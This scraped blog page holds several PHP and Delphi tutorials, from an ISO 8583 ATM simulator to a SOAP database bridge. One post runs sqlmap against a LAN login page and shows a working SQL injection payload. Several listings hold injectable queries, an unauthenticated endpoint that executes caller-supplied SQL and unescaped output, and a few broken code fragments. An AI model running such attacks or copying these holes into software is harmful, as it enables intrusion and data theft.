M8 Framework Reborn!

At the end of this year, my M8 a.k.a Method 8 tools has been finally re-evolute. It's an independent custom PHP framework built from scratch based on prior M8 core engine. Some of applications has been made from this previous M8 framework, but few of lacks found during the development phase. Such as it potentially bring  troubles for programmers when they work at the same module, too complicated programming structure, incomplete multi-users connection feature  and some other else minor issues. But at least, it's so reliable for 3.000 - 5.000 users via public internet - even in a small bandwith capacity available from clients.

Now, I've made some modification to it's core, eliminating the lacks covered from prior engine. There's major enhancement inside :
  1. Apache virtual directory and .htaccess dependency to support rewrite mod feature
  2. Multi-users connection support for database access (database class)
  3. Cacheable datasource (database class)
  4. More efficient session usage (session class)
  5. Enhancement in hi-jack and XSS filtering (secure class)
  6. 50% reducing development time by using 2 file only (presentation and controller) instead of 4 in prior engine
  7. Integrated HTML 5 usage in UI, increasing client-side validation function (ajax class)
  8. AJAX POST generator for better security
  9. PDF, CSV, XLS and print preview built-in feature from DataTables
  10. Code compressor 
  11. 100% refreshment of UI
  12. And more!
This latest framework built combined from jQuery and more persistence OOP classes. Just a little different from other framework available on the net :)

Labels: , ,

  Post a Comment

The ATM Simulator (People Hate Pearl!)

So, this is a proof-of-concept of ISO 8583 messaging in PHP. Everything you want to know about ISO 8583 (a complete) theory you can read at wikipedia page: http://en.wikipedia.org/wiki/ISO_8583. Anyway, article below will describe you a practical thing and technical work on how to understanding PHP socket programming - which is the core of ISO 8583. In short words: creating the ATM simulator with PHP!

Basically, ATM a.k.a ISO 8583 messaging using network socket to communicate between server and client. Take a look at general system activity defined below:


At first, server listening at specified address and port number, then client (for example: ATM) providing a block of ISO 8583 code to server (let say, client sending an account number). Server accepting command and parsing the code, continued to querying to backend. The result will returned back to client. Client accepting and parsing it again, and finally delivering a human-readable characters to the ATM screen.

To understand on how to developing the application, make sure that you:
  1. Familiar with PHP language.
  2. Able to use your favorite database client to create a single table.
  3.  Know the ISO 8583 philosophy.
  4. Having a PC with Apache & PHP enabled, also telnet client ready will help you much further. Windows (WAMP) and Mac OS (MAMP) is a great idea!

To start to build the application, keep in mind that there's 2 sequence things to create: SOCKET COMMUNICATION and ISO 8583 INTEGRATION.

SOCKET COMMUNICATION
This is a framework, since we need to create both different server and client applications that can interact using network socket. A server is listening and responding while client is sending and accepting. This is server code, save it with svr.php and store somewhere in your web server:

<?
error_reporting(E_ALL);
ob_implicit_flush();
$address = '10.2.2.212';
$port = 1234;
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
if (socket_bind($sock, $address, $port) === false)
{
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1))
{
echo socket_strerror(socket_last_error($sock));
exit;
}
}
if (socket_listen($sock, 5) === false)
{
echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
do
{
if (($msgsock = socket_accept($sock)) === false)
{
echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
break;
}
$msg = "\nPOC-ISO Telnet Test. \n" .
"ketik 'quit' buat keluar, cuy...\n";
        socket_write($msgsock, $msg, strlen($msg));
        do
        {
        if (false === ($buf = socket_read($msgsock, 2048)))
        {
echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
break 2;
}
if (!$buf = trim($buf))
{
continue;
}
if ($buf == 'quit')
{
break;
}
$talkback = 'Response Server: ' . $buf;
$talkback = $talkback . "\n";br /> socket_write($msgsock, $talkback, strlen($talkback));
//===========================================
echo "$talkback\n";
}
while (true);
socket_close($msgsock);
}
while (true);
socket_close($sock);
?>

Run svr.php code with -q parameter and try to connect to server from telnet command. What? Telnet? Yup, that's why telnet client needed in our existing article - to test the svr.php code. Look at picture below:


Send a free-string and look what the server response from telnet window or simply type 'quit' to quit. If svr.php looks fine, now you can continue to client code. Below is the client code socket core, save it with cli.php and store it to a path in your pub html web server.

<?
$host="10.2.2.212";
$port = 1234;
$message = 'HELLO 1234, apa bisa di copy ganti?';
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Error: SOCKET\n");
$result = socket_connect($socket, $host, $port) or die("Error: JARINGAN\n");
socket_read ($socket, 2048) or die("Error: RESP\n");

$message = $message . "\n";socket_write($socket, $message, strlen($message)) or die("Error: DATA\n");
$result = socket_read($socket, 2048) or die("Error: RESP\n");
socket_write($socket, "quit", 4) or die("Error: QUIT\n");

echo $result;?>

Also, run client code cli.php with -q parameter from second terminal while svr.php still remains active in first terminal window. If the code is right, both will response the same message sent from cli.php. And finally the first thing of socket communication is done!

ISO 8583 INTEGRATION
Before we implement ISO 8583 method in both codes above, we need to define a table test which simulate the back-end storage. In my experiment, it's only a single table. Look ak the picture below:


After creating table, continue to download a PHP class named by JAK8583 from PHPClasses.org. Download it from http://www.phpclasses.org/package/5398-PHP-Generate-and-parse-ISO-8583-transaction-messages.html. This class mainly purposed for ISO 8583 builder and parser, so you need to attach both svr.php and cli.php to this class.

Meanwhile, prepare client code (cli.php) into an ATM look-a-like interface. Contains several pages start from initiation until finish transaction (index, input, resp, output and error landing page). Let say, this below is a welcome interface (index):


The rule of this simulator is simple. User typing in 10 digit account number from input page, server will validating it from database and returning back the result to the simulator screen. So, here below is the input page.


Now, let's modify cli.php with sending and catching capabilities. Note that it also containing ISO 8583 builder and parser (and client side validation) :


<?php
if ($_POST['submit'])
{
$host="10.2.2.212";
$port = 1234;
$no_rek = $_POST['no_rek'];
//===========================================
// =========== ISO-8583 BUILDER =============
//===========================================
include_once('JAK8583.class.php');
$jak = new JAK8583();
$jak->addMTI('1800');
$jak->addData(2, $no_rek);
$jak->addData(54, '000000');
$jak->addData(43, 'XXXXXXXXX');
$jak->addData(7, '000000');
$message = $jak->getISO();
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Error: SOCKET\n");
$result = socket_connect($socket, $host, $port) or die("Error: JARINGAN\n");
socket_read ($socket, 2048) or die("Error: RESP\n");
$message = $message . "\n";
socket_write($socket, $message, strlen($message)) or die("Error: DATA\n");
$result = socket_read($socket, 2048) or die("Error: RESP\n");
socket_write($socket, "quit", 4) or die("Error: QUIT\n");
//===========================================
// =========== ISO-8583 PARSER ==============
//===========================================
//echo $result;
$jak = new JAK8583();
$jak->addISO($result);
if ($jak->getMTI()=='1810')
{
$data_element=$jak->getData();
$no_id=$data_element[2];
$nama=$data_element[43];
$nominal=$data_element[54];
$bln=$data_element[7];

if ($nama=='XXXXXXXXX')
{
header('Location: err.php');
exit;
}
}
else
{
header('Location: err.php');
exit;
}
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>POC-ISO</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>


<body bgcolor="#0066CC">
<p align="center"><font color="#FFFFFF"><strong><font size="3">KONFIRMASI PEMBAYARAN
  <br>
  ========================= </font></strong></font></p>
<p align="center">&nbsp;</p>
<form name="fInput" method="post" action="output.php">
  <div align="center">
    <table width="75%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="90%" rowspan="3"><div align="center">
            <table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="53%"><font color="#FFFFFF" size="3"><strong>ID PELANGGAN</strong></font></td>
                <td width="2%"><font color="#FFFFFF" size="3"><strong>:</strong></font></td>
                <td width="45%"><font color="#FFFFFF" size="3"><strong><?=$no_id?></strong></font></td>
              </tr>
              <tr>
                <td><font color="#FFFFFF" size="3"><strong>NAMA</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong>:</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong><?=$nama?></strong></font></td>
              </tr>
              <tr>
                <td><font color="#FFFFFF" size="3"><strong>BULAN TAGIHAN</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong>:</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong><?=$bln?></strong></font></td>
              </tr>
              <tr>
                <td><font color="#FFFFFF" size="3"><strong>JUMLAH TAGIHAN</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong>:</strong></font></td>
                <td><font color="#FFFFFF" size="3"><strong><?=$nominal?></strong></font></td>
              </tr>
            </table>
          </div></td>
        <td width="10%"><div align="right">
            <input type="submit" name="submit" value="--&gt; BAYAR">
          </div></td>
      </tr>
      <tr>
        <td><div align="right"> </div></td>
      </tr>
      <tr>
        <td><div align="right">
            <input type="button" name="Button3" value="--&gt; BATAL" onClick="document.location.href='input.php'">
          </div></td>
      </tr>
    </table>
  </div>
</form>


<table width="75%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><font color="#FFFFFF" size="3"><strong>RESP :</strong></font><font color="#FFFFFF" size="3"><strong>
      <br>
      <?=$message?>
      </strong></font></td>
  </tr>
  <tr>
    <td><font color="#FFFFFF" size="3"><strong>RECP :</strong></font><font color="#FFFFFF" size="3"><strong>
      <br><?=$result?>
      </strong></font></td>
  </tr>
</table>
</body>
</html>


Saved it as resp.php (means response). If validation returned false - for example entering only 3 digit from input box, the screen will automatically redirecting to error page, just like picture below:


Picture above displayed after we input a wrong account number. There's no such "123" account number on database. Try to typing a correct account number and re-submit again. The response page will displayed like picture below:


Take a note at both ISO 8583 code in a red box above (RESP and RECP). RESP (response) code is ISO 8583 builder code sent from client to server. While RECP (receipt) code is parser code sent from server to client. Anyway, here's below svr.php code improvement containing connection to the database (MySQL) :

<?
error_reporting(E_ALL);
ob_implicit_flush();
$address = '10.2.2.212';
$port = 1234;

//===========================================
// DB
//===========================================
include_once('JAK8583.class.php');
ini_set('display_error',1);
define("DB_HOST", "your.db.svr.host");
define("DB_USER", "db_user_name");
define("DB_PASS", "db_passwd");define("DB_NAME", "db_name");
$link=mysql_connect(DB_HOST,DB_USER,DB_PASS);
mysql_select_db(DB_NAME);
mysql_query("SET time_zone='Asia/Jakarta'");
//===========================================

$sock = socket_create(AF_INET, SOCK_STREAM, 0);
if (socket_bind($sock, $address, $port) === false)
{
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1))
{
echo socket_strerror(socket_last_error($sock));
exit;
}
}
if (socket_listen($sock, 5) === false)
{
echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}


do
{
if (($msgsock = socket_accept($sock)) === false)
{
echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
break;
}
$msg = "\nPOC-ISO Telnet Test. \n" .
"ketik 'quit' buat keluar, cuy...\n";
        socket_write($msgsock, $msg, strlen($msg));
        do
        {
        if (false === ($buf = socket_read($msgsock, 2048)))
        {
echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
break 2;
}
if (!$buf = trim($buf))
{
continue;
}
if ($buf == 'quit')
{
break;
}
$jak = new JAK8583();
$jak->addISO($buf);

if ($jak->getMTI()=='1800') // Dari Client
{
$data_element=$jak->getData();
$no_id=$data_element[2];

$perintah="select * from trx where no_id='$no_id'";

$hasil=mysql_query($perintah);
$n_data=mysql_num_rows($hasil);
$jak = new JAK8583();
$jak->addMTI('1810');
if ($n_data==1)
 {  while ($row=mysql_fetch_array($hasil))
{
$no_id=$row["no_id"];
$nama=$row["nama"];
$bln=$row["bln"];
$nominal=$row["nominal"];
}
>
$jak->addData(2, $no_id);

$jak->addData(43, $nama);
$jak->addData(54, $nominal);
$jak->addData(7, $bln);
}
else
{
$no_id = 'ERR000';$jak->addData(2, $no_id);
$jak->addData(43, 'XXXXXXXXX');
$jak->addData(54, '000000');
$jak->addData(7, '000000');
}
}
$talkback = $jak->getISO(); $talkback = $talkback . "\n"; socket_write($msgsock, $talkback, strlen($talkback)); //===========================================
echo "$n_data|$buf|$perintah|$buf|$talkback|$no_id|$nama|$bln|$nominal\n";
}
while (true);
socket_close($msgsock);
}
while (true);
socket_close($sock);
?>

Ok, so far you can learn on how to validate input from database and returning back the result to client screen. Now you can also try to extend the functionality to create a valid payable transaction if user submit from the simulator that will simulated balance subtraction. For example, after submitted, the screen will change to greeting screen or notification which say that the transaction is over and also displaying the last balance, just like picture below :


That's it for the client simulator. Meanwhile from svr.php code above, we can monitoring the throughput of the transaction in server terminal window. The red box sign tell that validation returning false result, while green color is a valid transaction.


CONCLUSION:
Since ISO 8583 messaging interoperability involving 2 or more companies (in fact the bank and merchant eventually) in a real world, each from both programmer must deal with such formats; ISO 8583 year version, header, MTI, Data Element format, server address and port. The rest, it's a character manipulation module anyway! Have a great ISO 8583 coding and share your experience below. Thank's for ever coming here.

Labels: , , , ,

  Post a Comment

Basic Hacking with SQLMap

Mostly, web programmers didn't care about how to protect their website project from hackers. They always depends on infrastructure outside the servers (the firewall, the proxy or something else). Such of it, it's very important to announce security points of programming to newbie web programmers. At least they'll learn securing application logic from beneath.

So much hacking techniques what hacker often did, from basic Cross Site Scripting (XSS) until SQL Injection, etc. Those techniques may range from a bit risk to a significant security damage.

Before a website project launched for public, it is recommended to run the security test in order to make sure that the project already secured for hackers - in basic ways. There's some tools available on the internet to help the test running. One of the tools named as SQLMap, it's an open source project. SQLMap - AFAIK - is more complete to do some SQL injection tests and much powerful than Havij.

To get start, download the latest SQLMap from sourceforge.net. Also make sure that Python package already installed on your system since SQLMap is a Python script based.



Assume that you have a web target to test (in this article, I use my friend's server on LAN). All I'm doing is touching the login page (index.php). Look below pictures, there's only 2 variable contains on that page (username & password) with POST method referring to cek_login.php file.



According to bit information above, open terminal or command prompt (for Windows) and enter below syntax :

Eko-Wahyudihartos-iMac:sqlmap ekowahyudiharto$ python sqlmap.py -u "http://10.2.2.144/arsip/admin/cek_login.php" method "POST" --data "username=xxxx" -f


Look wait wait for the response:

sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net

[*] starting at: 10:38:31

[10:38:31] [INFO] using '/Users/ekowahyudiharto/sqlmap/output/10.2.2.144/session' as session file
[10:38:31] [INFO] testing connection to the target url
[10:38:31] [INFO] testing if the url is stable, wait a few seconds
[10:38:32] [INFO] url is stable
[10:38:32] [INFO] testing if POST parameter 'username' is dynamic
[10:38:32] [WARNING] POST parameter 'username' is not dynamic
[10:38:32] [WARNING] heuristic test shows that POST parameter 'username' might not be injectable
[10:38:32] [INFO] testing sql injection on POST parameter 'username'
[10:38:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:38:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:38:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:38:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:38:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:38:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:38:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:38:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:38:33] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:38:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:38:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:38:33] [INFO] testing 'Oracle AND time-based blind'
[10:38:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
sqlmap got a 302 redirect to media.php - What target address do you want to use from now on? http://10.2.2.144:80/arsip/admin/cek_login.php (default) or provide another target address based also on the redirection got from the application

>
[10:38:41] [INFO] target url appears to be UNION injectable with 6 columns
[10:38:41] [INFO] POST parameter 'username' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable
POST parameter 'username' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 101 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: username=xxxx' UNION ALL SELECT CONCAT(CHAR(58,99,120,117,58),CHAR(88,99,102,100,86,121,111,76,88,88),CHAR(58,104,104,108,58)), NULL, NULL, NULL, NULL, NULL# AND 'OghT'='OghT
---

[10:39:06] [INFO] testing MySQL
[10:39:06] [INFO] confirming MySQL
[10:39:06] [INFO] the back-end DBMS is MySQL
[10:39:06] [INFO] actively fingerprinting MySQL
[10:39:06] [INFO] executing MySQL comment injection fingerprint

web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
comment injection fingerprint: MySQL 5.0.75
[10:39:10] [INFO] Fetched data logged to text files under '/Users/ekowahyudiharto/sqlmap/output/10.2.2.144'

[*] shutting down at: 10:39:10


Look at the response above!



Attention: this article describes a very basic information about how to make a security test on web based application, therefore also containing illegal material on it. More explorations needed to gain advantages to the using of SQLMap. The SQLMap on this article is used only for educational purposed only.

Credit: Thanks to Kadek Eva Suputra for giving me server & project experiment to test and I Wayan Chandra Winetra for giving me a brilliant topic to review.

Labels: , , , , ,

  Post a Comment

Auto-Synchronize Over FTP Link (RedHat & Ubuntu)

In a spesific programming case, database synchronization method will needed to accomodate data transfer between 2 or more servers. There are so much techniques we can adopt to make it work. And that's all depends on needs, business requirement, infrastructure availability & of course skill of you're own self.

Anyway, I don't wanna talk about synchronization techniques but actually, this latest article was begun from my previous one - Simple MySQL Replication Using FTP - when I implement automatically SQL file synchronization - using FTP protocol & by the help of crond daemon - between 2 RedHat (RHEL) server. The goal is that both servers having the same databases & tables (server A sending data to server B, server B sending data to server A).

However, the problem arises when one of the server changed the OS from RHEL to debian based (Ubuntu). While the automatic script I made from RHEL won't work on Ubuntu - especially the lines referring to FTP commands - bash shell script.

So, how to make the synchronization running again? No doubt, rewrite the script ASAP! Take a look at below script:

echo machine your.domain.or.ip > /root/.netrc
echo login your_username >> /root/.netrc
echo password your_password >> /root/.netrc
chmod 600 /root/.netrc

ftp your.domain.or.ip <<_FTP_
binary
put name.of.the.file
bye
_FTP_


Above is the code that only work on RHEL. While the FTP account created on separated file named by .netrc, this is not compatible to Ubuntu.

ftp -n -i <<_FTP_
open your.domain.or.ip
user your_username your_password
binary
put name.of.the.file
quit
_FTP_


Somehow, the FTP account initialization right on above script is integrated in the same script. And it just succedded running in Ubunru server. Moreover, there's no script affected in other servers. So, lesson of learning today is: never change server OS except you're ready for the impact. Deal?

Labels: , , , , , , ,

  Post a Comment

RAW Printing from Web Based Application

This is what I called a revolutionary for the web based application to handle RAW printing. Somehow, I found this Java applet named jZebra & it worked successfully as same as 16-bit console printing operation - the objective is prohibiting paper to rolled up one sheet full. Different with other extension “add-on” (eg: php_printer module on PHP) which is executed on server, jZebra operated on client side – since it Java based applet, you know it’ll depends on existing JRE package in each client. But - nevertheless - printing in a small paper (eg: receipt or bill) from web based application is not a problem anymore.

A couple years ago, I was thinking about to create a small win32 application purposed to take job RAW printing on LAN on here and there (with AssignPrn function available on Delphi), it’s done to print locally but unfortunately failed to handle network printing session – especially on non Windows machine (Linux ~ with CrossOver “limitation” capabilities). Anyway, you can read the online documentation of jZebra or try the sample directly provided over Google code page where it published for free.

On current article, I’d like to share about my experiment on exploring jZebra, including a short review and a bit modification of HTML page so that jZebra will have more flexible to use. Before continue reading this & decide to use it, I suggest you to read first of jZebra manual whether it suitable to your need or not.

At first, I try to create an HTML page, embed the applet – minor modification from the example - & store it on local Apache web server. The picture below explains what I’ve done above:



Image above shows jZebra initialization process. Once the applet executed, each & every browser will need a confirmation window to run Java applet. It signed by small loading logo rolling where the embed applet placed on a page.



When printer doesn’t exist, the applet will return fail code says that the printer is not yet ready. I switch back to Printer & Fax Control Panel & found that there’s no printer configured, while I still use FinePrint screen printing application as my default printer on my netbook.



Any printing process regarding to unsuccessful printer communication will raise failed information just like below picture.



For the experiment, I then rename the “FinePrint” printer name to “zebra



And … voila, the applet status says it ready.



Press print button & below picture display what’s happened on Windows printer status. You can see that the document name is “Java Printing”.



The printer on my experiment particularly used is LX-300 with USB plug cable. At the same time I press the Print button, the print will printing on paper directly & it stop to the end of string. It has exact behavior like DOS printing as I told before.



The above experiment I created from small modification of jZebra example. Note that information status as seen on above picture is based on AJAX, I decide to modified the source & use AJAX rather than manual common button (Detect Printer) for ease-of-use & compact source only. Below source define small part of index.html where I attach JavaScript main function:

...
<script type="text/javascript" src="js/jzebra.js"></script>
<body onLoad="detectPrinter()">

<table width="75%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr> <td colspan="2" bgcolor="#000000"><span id="printerStatusBar">Loading...</span></td></tr>
<tr> <td width="47%"><form name="form1" method="post" >
String untuk dicetak<br>
<textarea name="struk" cols="50" rows="7" id="struk"></textarea>
<br><input name="button" type=button onClick="printStruk(form1.struk.value)" value="Test Cetak">
<input name="button2" type=button onClick="print64()" value="Test Cetak (Base64)">
<input type="reset" name="Reset" value="Reset"></form></td>
<td width="53%">
<applet name="jZebra" code="jzebra.RawPrintApplet.class" archive="js/jzebra.jar" width="100" height="100">
<param name="printer" value="zebra">
<param name="sleep" value="200"></applet></td></tr></table>

While here below is the core of JavaScript function:

function detectPrinter()
{
var applet = document.jZebra;
if (applet != null)
{
applet.findPrinter("zebra");
while (!applet.isDoneFinding())
{
// Wait
}
var ps = applet.getPrintService();
if (ps == null) var info="Printer belum siap";
else var info="Printer \"" + ps.getName() + "\" siap";
}
else
var info="Java Runtime belum siap!";
document.getElementById("printerStatusBar").innerHTML=info;
window.setTimeout('detectPrinter()',5000);
}

function printStruk(str)
{
var applet = document.jZebra;
if (applet != null)
{
// Plain Text
str=returnEnter(str);
applet.append(str);
// Send to the printer
applet.print();
while (!applet.isDonePrinting())
{
// Wait
}
var e = applet.getException();
if (e == null) var info="Printed Successfully";
else var info="Error: " + e.getLocalizedMessage();
}
else
{
var info="Printer belum siap";
}
document.getElementById("printerStatusBar").innerHTML=info;
}

function returnEnter(dataStr)
{
return dataStr.replace(/(\r\n|\r|\n)/g, "\n");
}




From the above picture, the example page now contains a textarea input. This purposed for user to print what they enter on it. So that this prototype will more flexible to use, since each of HTML page only embedding the JavaScript core function when custom specified page need the RAW printing function. Have a good try & share your comment below.

Labels: , , , , ,

  Post a Comment

Win32 Application Online Update (Manually)

Anyone knows that updating such that distributed application is a boring activity, especially for those who have tons of PCs. It can make peoples from IT department wasting their times to upgrading client application. Moreover, looking forward email contain application attachment from software vendor also can bring much troubles for wide company and I mean this is an old-fashioned way. Why don’t you just suggest the vendor to change the update method with an online way? But for this, you need to make sure that the client PCs has internet capability so that you only have to tell the operator to download the update.

The update method is very simple and I did this to one of my client across Jakarta. It’s easy for them to update and me as the software developer to publish the application. Any latest update, I just store it to my domain immediately. How to do that? Look at image simulate the process below:



The process is quite plain; just tell the application to generate a link in any latest version available from web server, but simply ignore the priors so that it will only show the fresh version link. Got that? Ok, let say that you have an online web server named abc.com. Next, prepare a single web based script to generate a link if there is any newest version on hand (on this example, I used PHP script and named it with app.php). Now, the question is, how the scripts can detect and compare between current version and others up-to-date? Well, it’s as simply as that app.php needs to catch what the current application version is. This means that you need to retrieve current version number from the program and make it as a parameter when the URL has navigated to app.php. In case I used Borland Delphi for this test, so I drop-in a TWebBrowser component in a form and let it navigate to http://www.abc.com/app.php?v=1. The "1" number refers to current version application.


const InfoNum = 10;
InfoStr: array[1..InfoNum] of string = ('CompanyName', 'FileDescription', 'FileVersion', 'InternalName', 'LegalCopyright', 'LegalTradeMarks', 'OriginalFileName', 'ProductName', 'ProductVersion', 'Comments');


procedure TFAbout.FormShow(Sender: TObject);
var S: string;
n, Len, i: DWORD;
Buf: PChar;
Value: PChar;
Begin
S := Application.ExeName;
n := GetFileVersionInfoSize(PChar(S), n);
if n > 0 then
begin
Buf := AllocMem(n);
Memo1.Lines.Add('VersionInfoSize = ' + IntToStr(n));
GetFileVersionInfo(PChar(S), 0, n, Buf);
for i := 3 to 3 do
if VerQueryValue(Buf, PChar('StringFileInfo\040904E4\' + InfoStr[i]), Pointer(Value), Len) then
WebBrowser1.Navigate('http://www.abc.com/app.php?v='+Value);
FreeMem(Buf, n);
end;
end;


Done with client application, now it turns to PHP script app.php. The app.php consist of comparison between both current version (delivered from client via TWebBrowser component) and others up-to-date version. Take a look at completely app.php below:

<?
$v=$_GET['v'];
?>
<html>
<head>
<title>Download Update</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#E4E4E4">
<em>Current Version: <?=$v?></em><strong><br>Download Update</strong>:<br>

<?php
$wrong=0;
$right=0;
if ($handle = opendir('.')) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != ".." && $file !="app.php") {
$file_zip = substr($file,0,1);
$file_tmp = substr($file,1,1);
if ($file_tmp>$v && $file_zip=="v")
{
$right++;
echo "&#8226; <a href='$file'>$file_tmp</a> (" . filesize($file)/1000 . " Kb)<br>";
}
else $wrong++;
}
}
closedir($handle);
}
if ($right==0 && $wrong>0) echo "-"; // shows �-� if no update available
?>
</body>
</html>



Store both of app.php and latest zipped application (v2.zip on sample) in a same path over the web server. At last, try to do a test.



Voila, those little scripts now works helping IT department from updating application task over the internet and buried the ancient way. The above scripts can be expanded to do various things for your Win32 application. Good day and don’t forget to leave your comment here.

Labels: , , , , , ,

  Post a Comment

Bridging MySQL Server on Different Host with PHP

Accessing single core database records from several existing online systems is a top application development priority. There are no others choice to retrieve rows on-the-fly accurately without having a pure real live connection. In a corporation which implementing single sign-in on some separated (web based) applications, each login page modules must connected to single dedicated users table in data center in order to verify user’s right. This is a sample about the use of clustering application technique.

Integrating multiple online systems so that it have both data connection; one in local & one in other host can be made with 2 styles; simple & difficult. I said it simple if there’s less or no security policy restriction on both servers. For example, let assume that it’s possible for server B granted request query only from server A. On this condition, it’s easy as provide two common connections in a configuration laid in server A without paying attention on security issues in server B.

<?php
$linkA = mysql_connect("hostA", "mysql_userA", "mysql_passwordA");
mysql_select_db("databaseA", $linkA);
$resultA = mysql_query("SELECT * FROM tableA", $linkA);
$num_rowsA = mysql_num_rows($resultA);

$linkB = mysql_connect("hostB", "mysql_userB", "mysql_passwordB");
mysql_select_db("databaseB", $linkB);
$resultB = mysql_query("SELECT * FROM tableB", $linkB);
$num_rowsB = mysql_num_rows($resultB);

echo "Host A: $num_rowsA Rows\nHost B: $num_rows Rows";
?>


This also can be done if you have designed the network and servers infrastructure by your own self as secure as it should be, by using VPN line or granted all privileges in server B only from server A. But, be sure that you must have root privileges on both servers to configure this out. All of above is a simple one.



But, what if you have no root privileges at all, or there’s a bit complicated situation which server A currently reside on an external web hosting company and server B is behind a firewall on local network (no port allowed except HTTP)? Well … well, this is not a simple way. Although that it’s not a simple, but it has another solutions. Solve the problem - I called it – with bridging method.

Bridging method basically based on SOAP technique. You can clearly read my previous article on this blog about what is SOAP actually including my extra specimen code. This method is simply as using XML to transferring the data. It’s a RMI like on Java (Remote Method Invocation) or known as application server. From picture above, a request query sent to Server B from Server A. Server B recognizing accepted command & continuing to process the query. Then result query will be returned back to Server A. Anyway, it might have a bit degraded performance, but believes me; I don’t want to talk about it right now.

Back to topic, at least, result query retrieval mode on web based application divide into 2 conditions which is single & multiple results. A single result can directly passing to a variable or text box. A more complex is multiple results such as menu/list box. Watch picture below.



Picture above explains a page from server A displaying result query obtained from data bridging from other host (server B). First object (the text box) hold only one row result returned, while combo box can hold many records. Here, I’ll explain what you have done to solve this. To get started, first off all, you need the same PHP SOAP library taken from my previous article. I renamed this library as “bridge.soap.php” & let it stored on both servers. On script in Server A, you must define the initialization:

require_once('bridge.soap.php');
$serverpath ='http://serverB/bridge.php';
$namespace="urn:xmethods-SOAPWebService";


$serverpath is variable hold a target application server on server B. okay, let’s straight more deep, if you need to request a single row result query then this below is the template:

$perintah="SELECT * FROM tableB WHERE fieldB='" . $varB ."'";
$field='fieldB';
$param= array('perintah'=>$perintah,'field'=>$field);
$client=new soapclient($serverpath);
list($field) = $client->call('get_row',$param,$namespace);
unset($client);


$field variable explain what field on database Server B that will be retrieved. And so on, the result query will also be stored on this same variable name (just to make easier). Anyway, it’s quite different if you need to retrieve multiple fields record by bridging & store it to combo box. Check below template:

$perintah="SELECT * FROM tableB order by fieldB1";
$field='fieldB1# fieldB2';
$param= array('perintah'=>$perintah,'field'=>$field);
$client = new soapclient($serverpath);
$record = $client->call('get_loop',$param,$namespace);
$row=explode("#",$record);
for ($x = 0; $x < count($row); $x++) {
$value='';
$col=explode("|",$row[$x]);
for ($y = 0; $y <= count($col); $y++) $value=$value . $col[$y] . '|';
$value=substr($value, 0, -2);
$value_kode=explode("|",$value);
echo("<option value='$value_kode'>$value</option>");
}
unset($client);


Same as first template, $field also hold what field that will be retrieved but it can contains more than single field. For example above, it declared to retrieve fieldB1 and fieldB2 (with # as delimiter). This is similar to query statement:

SELECT fieldB1,fieldB2 FROM tableB order by fieldB1


2nd template actually based on 1st skeleton template. I modified 1st template into 2nd so that it now possible to gain multiple fields. Even both templates look similar, but it’s different; while the 1st calling get_row function, the 2nd calling get_loop function. These both functions are exists on server B. It’s a kind a RPC (Remote Procedure Call) function as a part of application server. For instances, below script are template of SOAP server (I named as bridge.php) only reside on server B (the function definition called from Server A):

<?php
function get_row($perintah,$field)
{
$param = array();
$fieldno=explode("#",$field);

$hasil=mysql_query($perintah) or die($perintah);
while ($row=mysql_fetch_array($hasil))
{
for ($x = 0; $x <= count($fieldno); $x++) array_push($param,$row[$fieldno[$x]]);
}
return $param;
}

function get_loop($perintah,$field)
{
$param = array();
$param_row='';
$fieldno=explode("#",$field);

$hasil=mysql_query($perintah) or die($perintah);
while ($row=mysql_fetch_array($hasil))
{
$param_col='';
for ($x = 0; $x < count($fieldno); $x++) $param_col=$param_col . $row[$fieldno[$x]] . '|';
$param_col=substr($param_col, 0, -1) . '#';
$param_row=$param_row . $param_col;
}
$param_row=substr($param_row, 0, -1);
return $param_row;
}

require_once('bridge.soap.php');
